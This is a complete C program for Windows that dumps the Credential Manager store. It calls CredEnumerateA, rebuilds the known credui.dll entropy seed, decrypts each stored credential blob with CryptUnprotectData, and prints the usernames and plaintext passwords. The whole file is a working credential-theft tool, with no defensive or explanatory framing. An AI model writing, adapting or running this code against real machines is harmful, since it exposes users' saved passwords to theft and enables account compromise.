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#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "Crypt32.lib")
//de wincred.h
typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;
typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;
typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;
typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
void enumerate()
{
PCREDENTIAL *CredentialCollection = NULL;
DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
//used for filling up blobEntropy
char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
short int EntropyData[37];
short int tmp;
HMODULE hDLL;
DWORD Count, i;
//Locate CredEnumerate, CredRead, CredFree fromadvapi32.dll
if( hDLL = LoadLibrary("advapi32.dll") )
{
pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");
if( pfCredEnumerateA == NULL|| pfCredReadA == NULL || pfCredFree == NULL )
{
printf("error!\n");
return ;
}
}
//Get an array of 'credential', satisfying the filter
pfCredEnumerateA("*", 0, &Count, &CredentialCollection);
if(Count) //usually this value is only 1
{
//Calculate Entropy Data
for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37
{
tmp = (short int)szEntropyStringSeed[i];
tmp <<= 2;
EntropyData[i] = tmp;
}
for(i=0; i<Count; i++)
{
blobEntropy.pbData = (BYTE *)&EntropyData;
blobEntropy.cbData = 74; //sizeof(EntropyData)
blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
printf("Username : %s\n", CredentialCollection[i]->UserName);
printf("Password : %ls\n\n", blobPlainText.pbData);
}
}
pfCredFree(CredentialCollection);
}
int main()
{
enumerate();
return 0;
} |
